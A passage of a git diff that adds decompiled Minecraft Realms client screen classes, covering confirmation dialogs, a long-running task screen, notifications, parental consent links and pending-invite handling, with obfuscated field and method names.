RealmsLongConfirmationScreen.Type p_i232208_2_, ITextComponent p_i232208_3_, ITextComponent p_i232208_4_, boolean p_i232208_5_) + { + this.field_237845_a_ = p_i232208_1_; + this.field_224254_e = p_i232208_2_; + this.field_224255_f = p_i232208_3_; + this.field_224256_g = p_i232208_4_; + this.field_224258_i = p_i232208_5_; + } + + public void init() + { + RealmsNarratorHelper.func_239551_a_(this.field_224254_e.field_225144_d, this.field_224255_f.getString(), this.field_224256_g.getString()); + + if (this.field_224258_i) + { + this.addButton(new Button(this.width / 2 - 105, func_239562_k_(8), 100, 20, DialogTexts.GUI_YES, (p_237848_1_) -> + { + this.field_237845_a_.accept(true); + })); + this.addButton(new Button(this.width / 2 + 5, func_239562_k_(8), 100, 20, DialogTexts.GUI_NO, (p_237847_1_) -> + { + this.field_237845_a_.accept(false); + })); + } + else + { + this.addButton(new Button(this.width / 2 - 50, func_239562_k_(8), 100, 20, new TranslationTextComponent("mco.gui.ok"), (p_237846_1_) -> + { + this.field_237845_a_.accept(true); + })); + } + } + + public boolean keyPressed(int keyCode, int scanCode, int modifiers) + { + if (keyCode == 256) + { + this.field_237845_a_.accept(false); + return true; + } + else + { + return super.keyPressed(keyCode, scanCode, modifiers); + } + } + + public void render(MatrixStack matrixStack, int mouseX, int mouseY, float partialTicks) + { + this.renderBackground(matrixStack); + drawCenteredString(matrixStack, this.font, this.field_224254_e.field_225144_d, this.width / 2, func_239562_k_(2), this.field_224254_e.field_225143_c); + drawCenteredString(matrixStack, this.font, this.field_224255_f, this.width / 2, func_239562_k_(4), 16777215); + drawCenteredString(matrixStack, this.font, this.field_224256_g, this.width / 2, func_239562_k_(6), 16777215); + super.render(matrixStack, mouseX, mouseY, partialTicks); + } + + public static enum Type + { + Warning("Warning!", 16711680), + Info("Info!", 8226750); + + public final int field_225143_c; + public final String field_225144_d; + + private Type(String p_i51697_3_, int p_i51697_4_) + { + this.field_225144_d = p_i51697_3_; + this.field_225143_c = p_i51697_4_; + } + } +} diff --git a/src/com/mojang/realmsclient/gui/screens/RealmsLongRunningMcoTaskScreen.java b/src/com/mojang/realmsclient/gui/screens/RealmsLongRunningMcoTaskScreen.java new file mode 100644 index 00000000..0f3782f4 --- /dev/null +++ b/src/com/mojang/realmsclient/gui/screens/RealmsLongRunningMcoTaskScreen.java @@ -0,0 +1,126 @@ +package com.mojang.realmsclient.gui.screens; + +import com.google.common.collect.Sets; +import com.mojang.blaze3d.matrix.MatrixStack; +import com.mojang.realmsclient.exception.RealmsDefaultUncaughtExceptionHandler; +import com.mojang.realmsclient.gui.LongRunningTask; +import java.util.Set; +import javax.annotation.Nullable; +import net.minecraft.client.gui.DialogTexts; +import net.minecraft.client.gui.IGuiEventListener; +import net.minecraft.client.gui.screen.Screen; +import net.minecraft.client.gui.widget.button.Button; +import net.minecraft.realms.IErrorConsumer; +import net.minecraft.realms.RealmsNarratorHelper; +import net.minecraft.realms.RealmsScreen; +import net.minecraft.util.text.ITextComponent; +import net.minecraft.util.text.StringTextComponent; +import org.apache.logging.log4j.LogManager; +import org.apache.logging.log4j.Logger; + +public class RealmsLongRunningMcoTaskScreen extends RealmsScreen implements IErrorConsumer +{ + private static final Logger field_224238_b = LogManager.getLogger(); + private final Screen field_224241_e; + private volatile ITextComponent field_224243_g = StringTextComponent.EMPTY; + @Nullable + private volatile ITextComponent field_224245_i; + private volatile boolean field_224246_j; + private int field_224247_k; + private final LongRunningTask field_224248_l; + private final int field_224249_m = 212; + public static final String[] field_224237_a = new String[] {"\u2583 \u2584 \u2585 \u2586 \u2587 \u2588 \u2587 \u2586 \u2585 \u2584 \u2583", "_ \u2583 \u2584 \u2585 \u2586 \u2587 \u2588 \u2587 \u2586 \u2585 \u2584", "_ _ \u2583 \u2584 \u2585 \u2586 \u2587 \u2588 \u2587 \u2586 \u2585", "_ _ _ \u2583 \u2584 \u2585 \u2586 \u2587 \u2588 \u2587 \u2586", "_ _ _ _ \u2583 \u2584 \u2585 \u2586 \u2587 \u2588 \u2587", "_ _ _ _ _ \u2583 \u2584 \u2585 \u2586 \u2587 \u2588", "_ _ _ _ \u2583 \u2584 \u2585 \u2586 \u2587 \u2588 \u2587", "_ _ _ \u2583 \u2584 \u2585 \u2586 \u2587 \u2588 \u2587 \u2586", "_ _ \u2583 \u2584 \u2585 \u2586 \u2587 \u2588 \u2587 \u2586 \u2585", "_ \u2583 \u2584 \u2585 \u2586 \u2587 \u2588 \u2587 \u2586 \u2585 \u2584", "\u2583 \u2584 \u2585 \u2586 \u2587 \u2588 \u2587 \u2586 \u2585 \u2584 \u2583", "\u2584 \u2585 \u2586 \u2587 \u2588 \u2587 \u2586 \u2585 \u2584 \u2583 _", "\u2585 \u2586 \u2587 \u2588 \u2587 \u2586 \u2585 \u2584 \u2583 _ _", "\u2586 \u2587 \u2588 \u2587 \u2586 \u2585 \u2584 \u2583 _ _ _", "\u2587 \u2588 \u2587 \u2586 \u2585 \u2584 \u2583 _ _ _ _", "\u2588 \u2587 \u2586 \u2585 \u2584 \u2583 _ _ _ _ _", "\u2587 \u2588 \u2587 \u2586 \u2585 \u2584 \u2583 _ _ _ _", "\u2586 \u2587 \u2588 \u2587 \u2586 \u2585 \u2584 \u2583 _ _ _", "\u2585 \u2586 \u2587 \u2588 \u2587 \u2586 \u2585 \u2584 \u2583 _ _", "\u2584 \u2585 \u2586 \u2587 \u2588 \u2587 \u2586 \u2585 \u2584 \u2583 _"}; + + public RealmsLongRunningMcoTaskScreen(Screen p_i232209_1_, LongRunningTask p_i232209_2_) + { + this.field_224241_e = p_i232209_1_; + this.field_224248_l = p_i232209_2_; + p_i232209_2_.func_224987_a(this); + Thread thread = new Thread(p_i232209_2_, "Realms-long-running-task"); + thread.setUncaughtExceptionHandler(new RealmsDefaultUncaughtExceptionHandler(field_224238_b)); + thread.start(); + } + + public void tick() + { + super.tick(); + RealmsNarratorHelper.func_239553_b_(this.field_224243_g.getString()); + ++this.field_224247_k; + this.field_224248_l.func_224990_b(); + } + + public boolean keyPressed(int keyCode, int scanCode, int modifiers) + { + if (keyCode == 256) + { + this.func_224236_c(); + return true; + } + else + { + return super.keyPressed(keyCode, scanCode, modifiers); + } + } + + public void init() + { + this.field_224248_l.func_224991_c(); + this.addButton(new Button(this.width / 2 - 106, func_239562_k_(12), 212, 20, DialogTexts.GUI_CANCEL, (p_237852_1_) -> + { + this.func_224236_c(); + })); + } + + private void func_224236_c() + { + this.field_224246_j = true; + this.field_224248_l.func_224992_d(); + this.minecraft.displayGuiScreen(this.field_224241_e); + } + + public void render(MatrixStack matrixStack, int mouseX, int mouseY, float partialTicks) + { + this.renderBackground(matrixStack); + drawCenteredString(matrixStack, this.font, this.field_224243_g, this.width / 2, func_239562_k_(3), 16777215); + ITextComponent itextcomponent = this.field_224245_i; + + if (itextcomponent == null) + { + drawCenteredString(matrixStack, this.font, field_224237_a[this.field_224247_k % field_224237_a.length], this.width / 2, func_239562_k_(8), 8421504); + } + else + { + drawCenteredString(matrixStack, this.font, itextcomponent, this.width / 2, func_239562_k_(8), 16711680); + } + + super.render(matrixStack, mouseX, mouseY, partialTicks); + } + + public void func_230434_a_(ITextComponent p_230434_1_) + { + this.field_224245_i = p_230434_1_; + RealmsNarratorHelper.func_239550_a_(p_230434_1_.getString()); + this.func_237850_a_(); + this.addButton(new Button(this.width / 2 - 106, this.height / 4 + 120 + 12, 200, 20, DialogTexts.GUI_BACK, (p_237851_1_) -> + { + this.func_224236_c(); + })); + } + + private void func_237850_a_() + { + Set set = Sets.newHashSet(this.buttons); + this.children.removeIf(set::contains); + this.buttons.clear(); + } + + public void func_224234_b(ITextComponent p_224234_1_) + { + this.field_224243_g = p_224234_1_; + } + + public boolean func_224235_b() + { + return this.field_224246_j; + } +} diff --git a/src/com/mojang/realmsclient/gui/screens/RealmsNotificationsScreen.java b/src/com/mojang/realmsclient/gui/screens/RealmsNotificationsScreen.java new file mode 100644 index 00000000..78404b4b --- /dev/null +++ b/src/com/mojang/realmsclient/gui/screens/RealmsNotificationsScreen.java @@ -0,0 +1,164 @@ +package com.mojang.realmsclient.gui.screens; + +import com.mojang.blaze3d.matrix.MatrixStack; +import com.mojang.blaze3d.systems.RenderSystem; +import com.mojang.realmsclient.client.RealmsClient; +import com.mojang.realmsclient.exception.RealmsServiceException; +import com.mojang.realmsclient.gui.RealmsDataFetcher; +import net.minecraft.client.gui.AbstractGui; +import net.minecraft.client.gui.screen.MainMenuScreen; +import net.minecraft.realms.RealmsScreen; +import net.minecraft.util.ResourceLocation; +import net.minecraft.util.Util; + +public class RealmsNotificationsScreen extends RealmsScreen +{ + private static final ResourceLocation field_237853_a_ = new ResourceLocation("realms", "textures/gui/realms/invite_icon.png"); + private static final ResourceLocation field_237854_b_ = new ResourceLocation("realms", "textures/gui/realms/trial_icon.png"); + private static final ResourceLocation field_237855_c_ = new ResourceLocation("realms", "textures/gui/realms/news_notification_mainscreen.png"); + private static final RealmsDataFetcher field_237856_p_ = new RealmsDataFetcher(); + private volatile int field_224266_b; + private static boolean field_224267_c; + private static boolean field_224268_d; + private static boolean field_224269_e; + private static boolean field_224270_f; + + public void init() + { + this.func_224261_a(); + this.minecraft.keyboardListener.enableRepeatEvents(true); + } + + public void tick() + { + if ((!this.func_237858_g_() || !this.func_237859_j_() || !field_224269_e) && !field_237856_p_.func_225065_a()) + { + field_237856_p_.func_225070_k(); + } + else if (field_224269_e && this.func_237858_g_()) + { + field_237856_p_.func_237710_c_(); + + if (field_237856_p_.func_225083_a(RealmsDataFetcher.Task.PENDING_INVITE)) + { + this.field_224266_b = field_237856_p_.func_225081_f(); + } + + if (field_237856_p_.func_225083_a(RealmsDataFetcher.Task.TRIAL_AVAILABLE)) + { + field_224268_d = field_237856_p_.func_225071_g(); + } + + if (field_237856_p_.func_225083_a(RealmsDataFetcher.Task.UNREAD_NEWS)) + { + field_224270_f = field_237856_p_.func_225059_i(); + } + + field_237856_p_.func_225072_c(); + } + } + + private boolean func_237858_g_() + { + return this.minecraft.gameSettings.realmsNotifications; + } + + private boolean func_237859_j_() + { + return this.minecraft.currentScreen instanceof MainMenuScreen; + } + + private void func_224261_a() + { + if (!field_224267_c) + { + field_224267_c = true; + (new Thread("Realms Notification Availability checker #1") + { + public void run() + { + RealmsClient realmsclient = RealmsClient.func_224911_a(); + + try + { + RealmsClient.CompatibleVersionResponse realmsclient$compatibleversionresponse = realmsclient.func_224939_i(); + + if (realmsclient$compatibleversionresponse != RealmsClient.CompatibleVersionResponse.COMPATIBLE) + { + return; + } + } + catch (RealmsServiceException realmsserviceexception) + { + if (realmsserviceexception.field_224981_a != 401) + { + RealmsNotificationsScreen.field_224267_c = false; + } + + return; + } + + RealmsNotificationsScreen.field_224269_e = true; + } + }).start(); + } + } + + public void render(MatrixStack matrixStack, int mouseX, int mouseY, float partialTicks) + { + if (field_224269_e) + { + this.func_237857_a_(matrixStack, mouseX, mouseY); + } + + super.render(matrixStack, mouseX, mouseY, partialTicks); + } + + private void func_237857_a_(MatrixStack p_237857_1_, int p_237857_2_, int p_237857_3_) + { + int i = this.field_224266_b; + int j = 24; + int k = this.height / 4 + 48; + int l = this.width / 2 + 80; + int i1 = k + 48 + 2; + int j1 = 0; + + if (field_224270_f) + { + this.minecraft.getTextureManager().bindTexture(field_237855_c_); + RenderSystem.color4f(1.0F, 1.0F, 1.0F, 1.0F); + RenderSystem.pushMatrix(); + RenderSystem.scalef(0.4F, 0.4F, 0.4F); + AbstractGui.blit(p_237857_1_, (int)((double)(l + 2 - j1) * 2.5D), (int)((double)i1 * 2.5D), 0.0F, 0.0F, 40, 40, 40, 40); + RenderSystem.popMatrix(); + j1 += 14; + } + + if (i != 0) + { + this.minecraft.getTextureManager().bindTexture(field_237853_a_); + RenderSystem.color4f(1.0F, 1.0F, 1.0F, 1.0F); + AbstractGui.blit(p_237857_1_, l - j1, i1 - 6, 0.0F, 0.0F, 15, 25, 31, 25); + j1 += 16; + } + + if (field_224268_d) + { + this.minecraft.getTextureManager().bindTexture(field_237854_b_); + RenderSystem.color4f(1.0F, 1.0F, 1.0F, 1.0F); + int k1 = 0; + + if ((Util.milliTime() / 800L & 1L) == 1L) + { + k1 = 8; + } + + AbstractGui.blit(p_237857_1_, l + 4 - j1, i1 + 4, 0.0F, (float)k1, 8, 8, 8, 16); + } + } + + public void onClose() + { + field_237856_p_.func_225070_k(); + } +} diff --git a/src/com/mojang/realmsclient/gui/screens/RealmsParentalConsentScreen.java b/src/com/mojang/realmsclient/gui/screens/RealmsParentalConsentScreen.java new file mode 100644 index 00000000..eedcf1a2 --- /dev/null +++ b/src/com/mojang/realmsclient/gui/screens/RealmsParentalConsentScreen.java @@ -0,0 +1,54 @@ +package com.mojang.realmsclient.gui.screens; + +import com.mojang.blaze3d.matrix.MatrixStack; +import net.minecraft.client.gui.DialogTexts; +import net.minecraft.client.gui.IBidiRenderer; +import net.minecraft.client.gui.screen.Screen; +import net.minecraft.client.gui.widget.button.Button; +import net.minecraft.realms.RealmsNarratorHelper; +import net.minecraft.realms.RealmsScreen; +import net.minecraft.util.Util; +import net.minecraft.util.text.ITextComponent; +import net.minecraft.util.text.TranslationTextComponent; + +public class RealmsParentalConsentScreen extends RealmsScreen +{ + private static final ITextComponent field_243122_a = new TranslationTextComponent("mco.account.privacyinfo"); + private final Screen field_224260_a; + private IBidiRenderer field_243123_c = IBidiRenderer.field_243257_a; + + public RealmsParentalConsentScreen(Screen p_i232210_1_) + { + this.field_224260_a = p_i232210_1_; + } + + public void init() + { + RealmsNarratorHelper.func_239550_a_(field_243122_a.getString()); + ITextComponent itextcomponent = new TranslationTextComponent("mco.account.update"); + ITextComponent itextcomponent1 = DialogTexts.GUI_BACK; + int i = Math.max(this.font.getStringPropertyWidth(itextcomponent), this.font.getStringPropertyWidth(itextcomponent1)) + 30; + ITextComponent itextcomponent2 = new TranslationTextComponent("mco.account.privacy.info"); + int j = (int)((double)this.font.getStringPropertyWidth(itextcomponent2) * 1.2D); + this.addButton(new Button(this.width / 2 - j / 2, func_239562_k_(11), j, 20, itextcomponent2, (p_237862_0_) -> + { + Util.getOSType().openURI("https://aka.ms/MinecraftGDPR"); + })); + this.addButton(new Button(this.width / 2 - (i + 5), func_239562_k_(13), i, 20, itextcomponent, (p_237861_0_) -> + { + Util.getOSType().openURI("https://aka.ms/UpdateMojangAccount"); + })); + this.addButton(new Button(this.width / 2 + 5, func_239562_k_(13), i, 20, itextcomponent1, (p_237860_1_) -> + { + this.minecraft.displayGuiScreen(this.field_224260_a); + })); + this.field_243123_c = IBidiRenderer.func_243258_a(this.font, field_243122_a, (int)Math.round((double)this.width * 0.9D)); + } + + public void render(MatrixStack matrixStack, int mouseX, int mouseY, float partialTicks) + { + this.renderBackground(matrixStack); + this.field_243123_c.func_241864_a(matrixStack, this.width / 2, 15, 15, 16777215); + super.render(matrixStack, mouseX, mouseY, partialTicks); + } +} diff --git a/src/com/mojang/realmsclient/gui/screens/RealmsPendingInvitesScreen.java b/src/com/mojang/realmsclient/gui/screens/RealmsPendingInvitesScreen.java new file mode 100644 index 00000000..465ca0a1 --- /dev/null +++ b/src/com/mojang/realmsclient/gui/screens/RealmsPendingInvitesScreen.java @@ -0,0 +1,373 @@ +package com.mojang.realmsclient.gui.screens; + +import com.mojang.blaze3d.matrix.MatrixStack; +import com.mojang.blaze3d.systems.RenderSystem; +import com.mojang.realmsclient.RealmsMainScreen; +import com.mojang.realmsclient.client.RealmsClient; +import com.mojang.realmsclient.dto.PendingInvite; +import com.mojang.realmsclient.exception.RealmsServiceException; +import com.mojang.realmsclient.gui.ListButton; +import com.mojang.realmsclient.util.RealmsTextureManager; +import com.mojang.realmsclient.util.RealmsUtil; +import java.util.Arrays; +import java.util.List; +import java.util.stream.Collectors; +import javax.annotation.Nullable; +import net.minecraft.client.gui.AbstractGui; +import net.minecraft.client.gui.DialogTexts; +import net.minecraft.client.gui.screen.Screen; +import net.minecraft.client.gui.widget.button.Button; +import net.minecraft.client.gui.widget.list.ExtendedList; +import net.minecraft.client.resources.I18n; +import net.minecraft.realms.RealmsLabel; +import net.minecraft.realms.RealmsNarratorHelper; +import net.minecraft.realms.RealmsObjectSelectionList; +import net.minecraft.realms.RealmsScreen; +import net.minecraft.util.ResourceLocation; +import net.minecraft.util.text.ITextComponent; +import net.minecraft.util.text.TranslationTextComponent; +import org.apache.logging.log4j.LogManager; +import org.apache.logging.log4j.Logger; + +public class RealmsPendingInvitesScreen extends RealmsScreen +{ + private static final Logger field_224333_a = LogManager.getLogger(); + private static final ResourceLocation field_237863_b_ = new ResourceLocation("realms", "textures/gui/realms/accept_icon.png"); + private static final ResourceLocation field_237864_c_ = new ResourceLocation("realms", "textures/gui/realms/reject_icon.png"); + private static final ITextComponent field_243124_p = new TranslationTextComponent("mco.invites.nopending"); + private static final ITextComponent field_243125_q = new TranslationTextComponent("mco.invites.button.accept"); + private static final ITextComponent field_243126_r = new TranslationTextComponent("mco.invites.button.reject"); + private final Screen field_224334_b; + @Nullable + private ITextComponent field_224335_c; + private boolean field_224336_d; + private RealmsPendingInvitesScreen.InvitationList field_224337_e; + private RealmsLabel field_224338_f; + private int field_224339_g = -1; + private Button field_224340_h; + private Button field_224341_i; + + public RealmsPendingInvitesScreen(Screen p_i232211_1_) + { + this.field_224334_b = p_i232211_1_; + } + + public void init() + { + this.minecraft.keyboardListener.enableRepeatEvents(true); + this.field_224337_e = new RealmsPendingInvitesScreen.InvitationList(); + (new Thread("Realms-pending-invitations-fetcher") + { + public void run() + { + RealmsClient realmsclient = RealmsClient.func_224911_a(); + + try + { + List list = realmsclient.func_224919_k().field_230569_a_; + List list1 = list.stream().map((p_225146_1_) -> + { + return RealmsPendingInvitesScreen.this.new InvitationEntry(p_225146_1_); + }).collect(Collectors.toList()); + RealmsPendingInvitesScreen.this.minecraft.execute(() -> + { + RealmsPendingInvitesScreen.this.field_224337_e.replaceEntries(list1); + }); + } + catch (RealmsServiceException realmsserviceexception) + { + RealmsPendingInvitesScreen.field_224333_a.error("Couldn't list invites"); + } + finally + { + RealmsPendingInvitesScreen.this.field_224336_d = true; + } + } + }).start(); + this.addListener(this.field_224337_e); + this.field_224340_h = this.addButton(new Button(this.width / 2 - 174, this.height - 32, 100, 20, new TranslationTextComponent("mco.invites.button.accept"), (p_237878_1_) -> + { + this.func_224329_c(this.field_224339_g); + this.field_224339_g = -1; + this.func_224331_b(); + })); + this.addButton(new Button(this.width / 2 - 50, this.height - 32, 100, 20, DialogTexts.GUI_DONE, (p_237875_1_) -> + { + this.minecraft.displayGuiScreen(new RealmsMainScreen(this.field_224334_b)); + })); + this.field_224341_i = this.addButton(new Button(this.width / 2 + 74, this.height - 32, 100, 20, new TranslationTextComponent("mco.invites.button.reject"), (p_237871_1_) -> + { + this.func_224321_b(this.field_224339_g); + this.field_224339_g = -1; + this.func_224331_b(); + })); + this.field_224338_f = new RealmsLabel(new TranslationTextComponent("mco.invites.title"), this.width / 2, 12, 16777215); + this.addListener(this.field_224338_f); + this.func_231411_u_(); + this.func_224331_b(); + } + + public boolean keyPressed(int keyCode, int scanCode, int modifiers) + { + if (keyCode == 256) + { + this.minecraft.displayGuiScreen(new RealmsMainScreen(this.field_224334_b)); + return true; + } + else + { + return super.keyPressed(keyCode, scanCode, modifiers); + } + } + + private void func_224318_a(int p_224318_1_) + { + this.field_224337_e.func_223872_a(p_224318_1_); + } + + private void func_224321_b(final int p_224321_1_) + { + if (p_224321_1_ < this.field_224337_e.getItemCount()) + { + (new Thread("Realms-reject-invitation") + { + public void run() + { + try + { + RealmsClient realmsclient = RealmsClient.func_224911_a(); + realmsclient.func_224913_b((RealmsPendingInvitesScreen.this.field_224337_e.getEventListeners().get(p_224321_1_)).field_223750_a.field_230563_a_); + RealmsPendingInvitesScreen.this.minecraft.execute(() -> + { + RealmsPendingInvitesScreen.this.func_224318_a(p_224321_1_); + }); + } + catch (RealmsServiceException realmsserviceexception) + { + RealmsPendingInvitesScreen.field_224333_a.error("Couldn't reject invite"); + } + } + }).start(); + } + } + + private void func_224329_c(final int p_224329_1_) + { + if (p_224329_1_ < this.field_224337_e.getItemCount()) + { + (new Thread("Realms-accept-invitation") + { + public void run() + { + try + { + RealmsClient realmsclient = RealmsClient.func_224911_a(); + realmsclient.func_224901_a((RealmsPendingInvitesScreen.this.field_224337_e.getEventListeners().get(p_224329_1_)).field_223750_a.field_230563_a_); + RealmsPendingInvitesScreen.this.minecraft.execute(() -> + { + RealmsPendingInvitesScreen.this.func_224318_a(p_224329_1_); + }); + } + catch (RealmsServiceException realmsserviceexception) + { + RealmsPendingInvitesScreen.field_224333_a.error("Couldn't accept invite"); + } + } + }).start(); + } + } + + public void render(MatrixStack matrixStack, int mouseX, int mouseY, float partialTicks) + { + this.field_224335_c = null; + this.renderBackground(matrixStack); + this.field_224337_e.render(matrixStack, mouseX, mouseY, partialTicks); + this.field_224338_f.func_239560_a_(this, matrixStack); + + if (this.field_224335_c != null) + { + this.func_237866_a_(matrixStack, this.field_224335_c, mouseX, mouseY); + } + + if (this.field_224337_e.getItemCount() == 0 && this.field_224336_d) + { + drawCenteredString(matrixStack, this.font, field_243124_p, this.width / 2, this.height / 2 - 20, 16777215); + } + + super.render(matrixStack, mouseX, mouseY, partialTicks); + } + + protected void func_237866_a_(MatrixStack p_237866_1_, @Nullable ITextComponent p_237866_2_, int p_237866_3_, int p_237866_4_) + { + if (p_237866_2_ != null) + { + int i = p_237866_3_ + 12; + int j = p_237866_4_ - 12; + int k = this.font.getStringPropertyWidth(p_237866_2_); + this.fillGradient(p_237866_1_, i - 3, j - 3, i + k + 3, j + 8 + 3, -1073741824, -1073741824); + this.font.func_243246_a(p_237866_1_, p_237866_2_, (float)i, (float)j, 16777215); + } + } + + private void func_224331_b() + { + this.field_224340_h.visible = this.func_224316_d(this.field_224339_g); + this.field_224341_i.visible = this.func_224316_d(this.field_224339_g); + } + + private boolean func_224316_d(int p_224316_1_) + { + return p_224316_1_ != -1; + } + + class InvitationEntry extends ExtendedList.AbstractListEntry + { + private final PendingInvite field_223750_a; + private final List field_223752_c; + + InvitationEntry(PendingInvite p_i51623_2_) + { + this.field_223750_a = p_i51623_2_; + this.field_223752_c = Arrays.asList(new RealmsPendingInvitesScreen.InvitationEntry.AcceptButton(), new RealmsPendingInvitesScreen.InvitationEntry.RejectButton()); + } + + public void render(MatrixStack p_230432_1_, int p_230432_2_, int p_230432_3_, int p_230432_4_, int p_230432_5_, int p_230432_6_, int p_230432_7_, int p_230432_8_, boolean p_230432_9_, float p_230432_10_) + { + this.func_237893_a_(p_230432_1_, this.field_223750_a, p_230432_4_, p_230432_3_, p_230432_7_, p_230432_8_); + } + + public boolean mouseClicked(double mouseX, double mouseY, int button) + { + ListButton.func_237728_a_(RealmsPendingInvitesScreen.this.field_224337_e, this, this.field_223752_c, button, mouseX, mouseY); + return true; + } + + private void func_237893_a_(MatrixStack p_237893_1_, PendingInvite p_237893_2_, int p_237893_3_, int p_237893_4_, int p_237893_5_, int p_237893_6_) + { + RealmsPendingInvitesScreen.this.font.drawString(p_237893_1_, p_237893_2_.field_230564_b_, (float)(p_237893_3_ + 38), (float)(p_237893_4_ + 1), 16777215); + RealmsPendingInvitesScreen.this.font.drawString(p_237893_1_, p_237893_2_.field_230565_c_, (float)(p_237893_3_ + 38), (float)(p_237893_4_ + 12), 7105644); + RealmsPendingInvitesScreen.this.font.drawString(p_237893_1_, RealmsUtil.func_238105_a_(p_237893_2_.field_230567_e_), (float)(p_237893_3_ + 38), (float)(p_237893_4_ + 24), 7105644); + ListButton.func_237727_a_(p_237893_1_, this.field_223752_c, RealmsPendingInvitesScreen.this.field_224337_e, p_237893_3_, p_237893_4_, p_237893_5_, p_237893_6_); + RealmsTextureManager.func_225205_a(p_237893_2_.field_230566_d_, () -> + { + RenderSystem.color4f(1.0F, 1.0F, 1.0F, 1.0F); + AbstractGui.blit(p_237893_1_, p_237893_3_, p_237893_4_, 32, 32, 8.0F, 8.0F, 8, 8, 64, 64); + AbstractGui.blit(p_237893_1_, p_237893_3_, p_237893_4_, 32, 32, 40.0F, 8.0F, 8, 8, 64, 64); + }); + } + + class AcceptButton extends ListButton + { + AcceptButton() + { + super(15, 15, 215, 5); + } + + protected void func_230435_a_(MatrixStack p_230435_1_, int p_230435_2_, int p_230435_3_, boolean p_230435_4_) + { + RealmsPendingInvitesScreen.this.minecraft.getTextureManager().bindTexture(RealmsPendingInvitesScreen.field_237863_b_); + RenderSystem.color4f(1.0F, 1.0F, 1.0F, 1.0F); + float f = p_230435_4_ ? 19.0F : 0.0F; + AbstractGui.blit(p_230435_1_, p_230435_2_, p_230435_3_, f, 0.0F, 18, 18, 37, 18); + + if (p_230435_4_) + { + RealmsPendingInvitesScreen.this.field_224335_c = RealmsPendingInvitesScreen.field_243125_q; + } + } + + public void func_225121_a(int p_225121_1_) + { + RealmsPendingInvitesScreen.this.func_224329_c(p_225121_1_); + } + } + + class RejectButton extends ListButton + { + RejectButton() + { + super(15, 15, 235, 5); + } + + protected void func_230435_a_(MatrixStack p_230435_1_, int p_230435_2_, int p_230435_3_, boolean p_230435_4_) + { + RealmsPendingInvitesScreen.this.minecraft.getTextureManager().bindTexture(RealmsPendingInvitesScreen.field_237864_c_); + RenderSystem.color4f(1.0F, 1.0F, 1.0F, 1.0F); + float f = p_230435_4_ ? 19.0F : 0.0F; + AbstractGui.blit(p_230435_1_, p_230435_2_, p_230435_3_, f, 0.0F, 18, 18, 37, 18); + + if (p_230435_4_) + { + RealmsPendingInvitesScreen.this.field_224335_c = RealmsPendingInvitesScreen.field_243126_r; + } + } + + public void func_225121_a(int p_225121_1_) + { + RealmsPendingInvitesScreen.this.func_224321_b(p_225121_1_); + } + } + } + + class InvitationList extends RealmsObjectSelectionList + { + public InvitationList() + { + super(RealmsPendingInvitesScreen.this.width, RealmsPendingInvitesScreen.this.height, 32, RealmsPendingInvitesScreen.this.height - 40, 36); + } + + public void func_223872_a(int p_223872_1_) + { + this.remove(p_223872_1_); + } + + public int getMaxPosition() + { + return this.getItemCount() * 36; + } + + public int getRowWidth() + { + return 260; + } + + public boolean isFocused() + { + return RealmsPendingInvitesScreen.this.getListener() == this; + } + + public void renderBackground(MatrixStack p_230433_1_) + { + RealmsPendingInvitesScreen.this.renderBackground(p_230433_1_); + } + + public void func_231400_a_(int p_231400_1_) + { + this.func_239561_k_(p_231400_1_); + + if (p_231400_1_ != -1) + { + List list = RealmsPendingInvitesScreen.this.field_224337_e.getEventListeners(); + PendingInvite pendinginvite = (list.get(p_231400_1_)).field_223750_a; + String s = I18n.format("narrator.select.list.position", p_231400_1_ + 1, list.size()); + String s1 = RealmsNarratorHelper.func_239552_b_(Arrays.asList(pendinginvite.field_230564_b_, pendinginvite.field_230565_c_, RealmsUtil.func_238105_a_(pendinginvite.field_230567_e_), s)); + RealmsNarratorHelper.func_239550_a_(I18n.format("narrator.select", s1)); + } + + this.func_223873_b(p_231400_1_); + } + + public void func_223873_b(int p_223873_1_) + { + RealmsPendingInvitesScreen.this.field_224339_g = p_223873_1_; + RealmsPendingInvitesScreen.this.func_224331_b(); + } + + public void setSelected(@Nullable RealmsPendingInvitesScreen.InvitationEntry entry) + { + super.setSelected(entry); + RealmsPendingInvitesScreen.this.field_224339_g = this.getEventListeners().indexOf(entry); + RealmsPendingInvitesScreen.this.func_224331_b(); + } + } +} diff --git a/src/com/mojang/realmsclient/gui/screens/RealmsPlayerScreen.java b/src/com/mojang/realmsclient/gui/screens/RealmsPlayerScreen.java new file mode 100644 index 00000000..313a266d --- /dev/null +++ b/src/com/mojang/realmsclient/gui/screens/RealmsPlayerScreen.java @@ -0,0 +1,493 @@ +package com.mojang.realmsclient.gui.screens; + +import com.mojang.blaze3d.matrix.MatrixStack; +import com.mojang.blaze3d.systems.RenderSystem; +import com.mojang.realmsclient.client.RealmsClient; +import com.mojang.realmsclient.dto.Ops; +import com.mojang.realmsclient.dto.PlayerInfo; +import com.mojang.realmsclient.dto.RealmsServer; +import com.mojang.realmsclient.exception.RealmsServiceException; +import com.mojang.realmsclient.util.RealmsTextureManager; +import javax.annotation.Nullable; +import net.minecraft.client.gui.AbstractGui; +import net.minecraft.client.gui.DialogTexts; +import net.minecraft.client.gui.widget.button.Button; +import net.minecraft.client.gui.widget.list.ExtendedList; +import net.minecraft.client.renderer.BufferBuilder; +import net.minecraft.client.renderer.Tessellator; +import net.minecraft.client.renderer.vertex.DefaultVertexFormats; +import net.minecraft.client.resources.I18n; +import net.minecraft.realms.RealmsLabel; +import net.minecraft.realms.RealmsNarratorHelper; +import net.minecraft.realms.RealmsObjectSelectionList; +import net.minecraft.realms.RealmsScreen; +import net.minecraft.util.ResourceLocation; +import net.minecraft.util.text.ITextComponent; +import net.minecraft.util.text.StringTextComponent; +import net.minecraft.util.text.TranslationTextComponent; +import org.apache.logging.log4j.LogManager; +import org.apache.logging.log4j.Logger; + +public class RealmsPlayerScreen extends RealmsScreen +{ + private static final Logger field_224300_a = LogManager.getLogger(); + private static final ResourceLocation field_237895_b_ = new ResourceLocation("realms", "textures/gui/realms/op_icon.png"); + private static final ResourceLocation field_237896_c_ = new ResourceLocation("realms", "textures/gui/realms/user_icon.png"); + private static final ResourceLocation field_237897_p_ = new ResourceLocation("realms", "textures/gui/realms/cross_player_icon.png"); + private static final ResourceLocation field_237898_q_ = new ResourceLocation("minecraft", "textures/gui/options_background.png"); + private static final ITextComponent field_243138_r = new TranslationTextComponent("mco.configure.world.invites.normal.tooltip"); + private static final ITextComponent field_243139_s = new TranslationTextComponent("mco.configure.world.invites.ops.tooltip"); + private static final ITextComponent field_243140_t = new TranslationTextComponent("mco.configure.world.invites.remove.tooltip"); + private static final ITextComponent 